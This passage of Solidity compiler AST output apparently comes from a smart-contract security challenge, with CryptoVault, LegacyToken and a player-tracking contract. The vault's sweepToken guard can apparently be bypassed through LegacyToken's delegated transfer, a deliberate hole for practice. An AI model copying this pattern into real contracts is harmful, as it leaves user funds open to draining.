set"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_7e48b067d9657b74fa88865ffd84ee4954e27df98d359dfc75a722e1054131bc","typeString":"literal_string \"Already set\""}],"id":51597,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"1616:7:71","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":51608,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1616:57:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51609,"nodeType":"ExpressionStatement","src":"1616:57:71"},{"expression":{"id":51614,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":51610,"name":"underlying","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51582,"src":"1683:10:71","typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":51612,"name":"latestToken","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51594,"src":"1703:11:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":51611,"name":"IERC20","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47939,"src":"1696:6:71","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_IERC20_$47939_$","typeString":"type(contract IERC20)"}},"id":51613,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1696:19:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"src":"1683:32:71","typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"id":51615,"nodeType":"ExpressionStatement","src":"1683:32:71"}]},"functionSelector":"bdb2321f","implemented":true,"kind":"function","modifiers":[],"name":"setUnderlying","nameLocation":"1564:13:71","parameters":{"id":51595,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51594,"mutability":"mutable","name":"latestToken","nameLocation":"1586:11:71","nodeType":"VariableDeclaration","scope":51617,"src":"1578:19:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51593,"name":"address","nodeType":"ElementaryTypeName","src":"1578:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"1577:21:71"},"returnParameters":{"id":51596,"nodeType":"ParameterList","parameters":[],"src":"1606:0:71"},"scope":51645,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":51644,"nodeType":"FunctionDefinition","src":"1751:199:71","nodes":[],"body":{"id":51643,"nodeType":"Block","src":"1792:158:71","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"},"id":51626,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":51624,"name":"token","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51620,"src":"1810:5:71","typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"id":51625,"name":"underlying","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51582,"src":"1819:10:71","typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"src":"1810:19:71","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"43616e2774207472616e7366657220756e6465726c79696e6720746f6b656e","id":51627,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1831:33:71","typeDescriptions":{"typeIdentifier":"t_stringliteral_afe5ae312d1dc567ebdca136d83d2303b52af32d849793d70967a32a40d46a54","typeString":"literal_string \"Can't transfer underlying token\""},"value":"Can't transfer underlying token"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_afe5ae312d1dc567ebdca136d83d2303b52af32d849793d70967a32a40d46a54","typeString":"literal_string \"Can't transfer underlying token\""}],"id":51623,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"1802:7:71","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":51628,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1802:63:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51629,"nodeType":"ExpressionStatement","src":"1802:63:71"},{"expression":{"arguments":[{"id":51633,"name":"sweptTokensRecipient","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51579,"src":"1890:20:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[{"arguments":[{"id":51638,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"1936:4:71","typeDescriptions":{"typeIdentifier":"t_contract$_CryptoVault_$51645","typeString":"contract CryptoVault"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_CryptoVault_$51645","typeString":"contract CryptoVault"}],"id":51637,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1928:7:71","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51636,"name":"address","nodeType":"ElementaryTypeName","src":"1928:7:71","typeDescriptions":{}}},"id":51639,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1928:13:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":51634,"name":"token","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51620,"src":"1912:5:71","typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"id":51635,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1918:9:71","memberName":"balanceOf","nodeType":"MemberAccess","referencedDeclaration":47896,"src":"1912:15:71","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_uint256_$","typeString":"function (address) view external returns (uint256)"}},"id":51640,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1912:30:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":51630,"name":"token","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51620,"src":"1875:5:71","typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"id":51632,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1881:8:71","memberName":"transfer","nodeType":"MemberAccess","referencedDeclaration":47906,"src":"1875:14:71","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_uint256_$returns$_t_bool_$","typeString":"function (address,uint256) external returns (bool)"}},"id":51641,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1875:68:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":51642,"nodeType":"ExpressionStatement","src":"1875:68:71"}]},"functionSelector":"1be19560","implemented":true,"kind":"function","modifiers":[],"name":"sweepToken","nameLocation":"1760:10:71","parameters":{"id":51621,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51620,"mutability":"mutable","name":"token","nameLocation":"1778:5:71","nodeType":"VariableDeclaration","scope":51644,"src":"1771:12:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"},"typeName":{"id":51619,"nodeType":"UserDefinedTypeName","pathNode":{"id":51618,"name":"IERC20","nameLocations":["1771:6:71"],"nodeType":"IdentifierPath","referencedDeclaration":47939,"src":"1771:6:71"},"referencedDeclaration":47939,"src":"1771:6:71","typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"visibility":"internal"}],"src":"1770:14:71"},"returnParameters":{"id":51622,"nodeType":"ParameterList","parameters":[],"src":"1792:0:71"},"scope":51645,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[],"canonicalName":"CryptoVault","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[51645],"name":"CryptoVault","nameLocation":"1379:11:71","scope":51851,"usedErrors":[],"usedEvents":[]},{"id":51720,"nodeType":"ContractDefinition","src":"1954:596:71","nodes":[{"id":51654,"nodeType":"VariableDeclaration","src":"2021:29:71","nodes":[],"constant":false,"functionSelector":"c89e4361","mutability":"mutable","name":"delegate","nameLocation":"2042:8:71","scope":51720,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_DelegateERC20_$51463","typeString":"contract DelegateERC20"},"typeName":{"id":51653,"nodeType":"UserDefinedTypeName","pathNode":{"id":51652,"name":"DelegateERC20","nameLocations":["2021:13:71"],"nodeType":"IdentifierPath","referencedDeclaration":51463,"src":"2021:13:71"},"referencedDeclaration":51463,"src":"2021:13:71","typeDescriptions":{"typeIdentifier":"t_contract$_DelegateERC20_$51463","typeString":"contract DelegateERC20"}},"visibility":"public"},{"id":51669,"nodeType":"FunctionDefinition","src":"2057:93:71","nodes":[],"body":{"id":51668,"nodeType":"Block","src":"2116:34:71","nodes":[],"statements":[{"expression":{"arguments":[{"id":51664,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51656,"src":"2132:2:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":51665,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51658,"src":"2136:6:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":51663,"name":"_mint","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47678,"src":"2126:5:71","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,uint256)"}},"id":51666,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2126:17:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51667,"nodeType":"ExpressionStatement","src":"2126:17:71"}]},"functionSelector":"40c10f19","implemented":true,"kind":"function","modifiers":[{"id":51661,"kind":"modifierInvocation","modifierName":{"id":51660,"name":"onlyOwner","nameLocations":["2106:9:71"],"nodeType":"IdentifierPath","referencedDeclaration":46619,"src":"2106:9:71"},"nodeType":"ModifierInvocation","src":"2106:9:71"}],"name":"mint","nameLocation":"2066:4:71","parameters":{"id":51659,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51656,"mutability":"mutable","name":"to","nameLocation":"2079:2:71","nodeType":"VariableDeclaration","scope":51669,"src":"2071:10:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51655,"name":"address","nodeType":"ElementaryTypeName","src":"2071:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51658,"mutability":"mutable","name":"amount","nameLocation":"2091:6:71","nodeType":"VariableDeclaration","scope":51669,"src":"2083:14:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":51657,"name":"uint256","nodeType":"ElementaryTypeName","src":"2083:7:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"2070:28:71"},"returnParameters":{"id":51662,"nodeType":"ParameterList","parameters":[],"src":"2116:0:71"},"scope":51720,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":51682,"nodeType":"FunctionDefinition","src":"2156:114:71","nodes":[],"body":{"id":51681,"nodeType":"Block","src":"2231:39:71","nodes":[],"statements":[{"expression":{"id":51679,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":51677,"name":"delegate","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51654,"src":"2241:8:71","typeDescriptions":{"typeIdentifier":"t_contract$_DelegateERC20_$51463","typeString":"contract DelegateERC20"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":51678,"name":"newContract","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51672,"src":"2252:11:71","typeDescriptions":{"typeIdentifier":"t_contract$_DelegateERC20_$51463","typeString":"contract DelegateERC20"}},"src":"2241:22:71","typeDescriptions":{"typeIdentifier":"t_contract$_DelegateERC20_$51463","typeString":"contract DelegateERC20"}},"id":51680,"nodeType":"ExpressionStatement","src":"2241:22:71"}]},"functionSelector":"1d2d8400","implemented":true,"kind":"function","modifiers":[{"id":51675,"kind":"modifierInvocation","modifierName":{"id":51674,"name":"onlyOwner","nameLocations":["2221:9:71"],"nodeType":"IdentifierPath","referencedDeclaration":46619,"src":"2221:9:71"},"nodeType":"ModifierInvocation","src":"2221:9:71"}],"name":"delegateToNewContract","nameLocation":"2165:21:71","parameters":{"id":51673,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51672,"mutability":"mutable","name":"newContract","nameLocation":"2201:11:71","nodeType":"VariableDeclaration","scope":51682,"src":"2187:25:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_DelegateERC20_$51463","typeString":"contract DelegateERC20"},"typeName":{"id":51671,"nodeType":"UserDefinedTypeName","pathNode":{"id":51670,"name":"DelegateERC20","nameLocations":["2187:13:71"],"nodeType":"IdentifierPath","referencedDeclaration":51463,"src":"2187:13:71"},"referencedDeclaration":51463,"src":"2187:13:71","typeDescriptions":{"typeIdentifier":"t_contract$_DelegateERC20_$51463","typeString":"contract DelegateERC20"}},"visibility":"internal"}],"src":"2186:27:71"},"returnParameters":{"id":51676,"nodeType":"ParameterList","parameters":[],"src":"2231:0:71"},"scope":51720,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":51719,"nodeType":"FunctionDefinition","src":"2276:272:71","nodes":[],"body":{"id":51718,"nodeType":"Block","src":"2352:196:71","nodes":[],"statements":[{"condition":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":51700,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"id":51694,"name":"delegate","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51654,"src":"2374:8:71","typeDescriptions":{"typeIdentifier":"t_contract$_DelegateERC20_$51463","typeString":"contract DelegateERC20"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DelegateERC20_$51463","typeString":"contract DelegateERC20"}],"id":51693,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2366:7:71","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51692,"name":"address","nodeType":"ElementaryTypeName","src":"2366:7:71","typeDescriptions":{}}},"id":51695,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2366:17:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"arguments":[{"hexValue":"30","id":51698,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2395:1:71","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":51697,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2387:7:71","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51696,"name":"address","nodeType":"ElementaryTypeName","src":"2387:7:71","typeDescriptions":{}}},"id":51699,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2387:10:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"2366:31:71","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseBody":{"id":51716,"nodeType":"Block","src":"2462:80:71","statements":[{"expression":{"arguments":[{"id":51710,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51684,"src":"2509:2:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":51711,"name":"value","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51686,"src":"2513:5:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"expression":{"id":51712,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"2520:3:71","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":51713,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2524:6:71","memberName":"sender","nodeType":"MemberAccess","src":"2520:10:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":51708,"name":"delegate","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51654,"src":"2483:8:71","typeDescriptions":{"typeIdentifier":"t_contract$_DelegateERC20_$51463","typeString":"contract DelegateERC20"}},"id":51709,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2492:16:71","memberName":"delegateTransfer","nodeType":"MemberAccess","referencedDeclaration":51462,"src":"2483:25:71","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_uint256_$_t_address_$returns$_t_bool_$","typeString":"function (address,uint256,address) external returns (bool)"}},"id":51714,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2483:48:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"functionReturnParameters":51691,"id":51715,"nodeType":"Return","src":"2476:55:71"}]},"id":51717,"nodeType":"IfStatement","src":"2362:180:71","trueBody":{"id":51707,"nodeType":"Block","src":"2399:57:71","statements":[{"expression":{"arguments":[{"id":51703,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51684,"src":"2435:2:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":51704,"name":"value","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51686,"src":"2439:5:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":51701,"name":"super","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-25,"src":"2420:5:71","typeDescriptions":{"typeIdentifier":"t_type$_t_super$_LegacyToken_$51720_$","typeString":"type(contract super LegacyToken)"}},"id":51702,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2426:8:71","memberName":"transfer","nodeType":"MemberAccess","referencedDeclaration":47399,"src":"2420:14:71","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_uint256_$returns$_t_bool_$","typeString":"function (address,uint256) returns (bool)"}},"id":51705,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2420:25:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"functionReturnParameters":51691,"id":51706,"nodeType":"Return","src":"2413:32:71"}]}}]},"baseFunctions":[47399],"functionSelector":"a9059cbb","implemented":true,"kind":"function","modifiers":[],"name":"transfer","nameLocation":"2285:8:71","overrides":{"id":51688,"nodeType":"OverrideSpecifier","overrides":[],"src":"2328:8:71"},"parameters":{"id":51687,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51684,"mutability":"mutable","name":"to","nameLocation":"2302:2:71","nodeType":"VariableDeclaration","scope":51719,"src":"2294:10:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51683,"name":"address","nodeType":"ElementaryTypeName","src":"2294:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51686,"mutability":"mutable","name":"value","nameLocation":"2314:5:71","nodeType":"VariableDeclaration","scope":51719,"src":"2306:13:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":51685,"name":"uint256","nodeType":"ElementaryTypeName","src":"2306:7:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"2293:27:71"},"returnParameters":{"id":51691,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51690,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":51719,"src":"2346:4:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":51689,"name":"bool","nodeType":"ElementaryTypeName","src":"2346:4:71","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"2345:6:71"},"scope":51720,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"arguments":[{"hexValue":"4c6567616379546f6b656e","id":51647,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1984:13:71","typeDescriptions":{"typeIdentifier":"t_stringliteral_0ee2e886d48b449eae8c58f774e5f0080cabd01bbf86d262bcecfd0ead310326","typeString":"literal_string \"LegacyToken\""},"value":"LegacyToken"},{"hexValue":"4c4754","id":51648,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1999:5:71","typeDescriptions":{"typeIdentifier":"t_stringliteral_40ef642736e132b36c3ad2894c4d80ce0afe649c34017ca8cb01deee50079ab7","typeString":"literal_string \"LGT\""},"value":"LGT"}],"baseName":{"id":51646,"name":"ERC20","nameLocations":["1978:5:71"],"nodeType":"IdentifierPath","referencedDeclaration":47861,"src":"1978:5:71"},"id":51649,"nodeType":"InheritanceSpecifier","src":"1978:27:71"},{"baseName":{"id":51650,"name":"Ownable","nameLocations":["2007:7:71"],"nodeType":"IdentifierPath","referencedDeclaration":46700,"src":"2007:7:71"},"id":51651,"nodeType":"InheritanceSpecifier","src":"2007:7:71"}],"canonicalName":"LegacyToken","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[51720,46700,47861,47964,47939,48281],"name":"LegacyToken","nameLocation":"1963:11:71","scope":51851,"usedErrors":[],"usedEvents":[46601,47873,47882]},{"id":51850,"nodeType":"ContractDefinition","src":"2552:1365:71","nodes":[{"id":51730,"nodeType":"VariableDeclaration","src":"2649:26:71","nodes":[],"constant":false,"functionSelector":"d444d8a0","mutability":"mutable","name":"cryptoVault","nameLocation":"2664:11:71","scope":51850,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51729,"name":"address","nodeType":"ElementaryTypeName","src":"2649:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"public"},{"id":51732,"nodeType":"VariableDeclaration","src":"2681:21:71","nodes":[],"constant":false,"functionSelector":"48db5f89","mutability":"mutable","name":"player","nameLocation":"2696:6:71","scope":51850,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51731,"name":"address","nodeType":"ElementaryTypeName","src":"2681:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"public"},{"id":51734,"nodeType":"VariableDeclaration","src":"2708:28:71","nodes":[],"constant":false,"functionSelector":"26fe9951","mutability":"mutable","name":"delegatedFrom","nameLocation":"2723:13:71","scope":51850,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51733,"name":"address","nodeType":"ElementaryTypeName","src":"2708:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"public"},{"id":51737,"nodeType":"VariableDeclaration","src":"2742:18:71","nodes":[],"constant":false,"functionSelector":"d8670e1f","mutability":"mutable","name":"forta","nameLocation":"2755:5:71","scope":51850,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"},"typeName":{"id":51736,"nodeType":"UserDefinedTypeName","pathNode":{"id":51735,"name":"Forta","nameLocations":["2742:5:71"],"nodeType":"IdentifierPath","referencedDeclaration":51577,"src":"2742:5:71"},"referencedDeclaration":51577,"src":"2742:5:71","typeDescriptions":{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"}},"visibility":"public"},{"id":51772,"nodeType":"FunctionDefinition","src":"2767:288:71","nodes":[],"body":{"id":51771,"nodeType":"Block","src":"2867:188:71","nodes":[],"statements":[{"expression":{"id":51750,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":51748,"name":"delegatedFrom","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51734,"src":"2877:13:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":51749,"name":"legacyToken","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51739,"src":"2893:11:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"2877:27:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":51751,"nodeType":"ExpressionStatement","src":"2877:27:71"},{"expression":{"id":51756,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":51752,"name":"forta","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51737,"src":"2914:5:71","typeDescriptions":{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":51754,"name":"fortaAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51743,"src":"2928:12:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":51753,"name":"Forta","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51577,"src":"2922:5:71","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Forta_$51577_$","typeString":"type(contract Forta)"}},"id":51755,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2922:19:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"}},"src":"2914:27:71","typeDescriptions":{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract 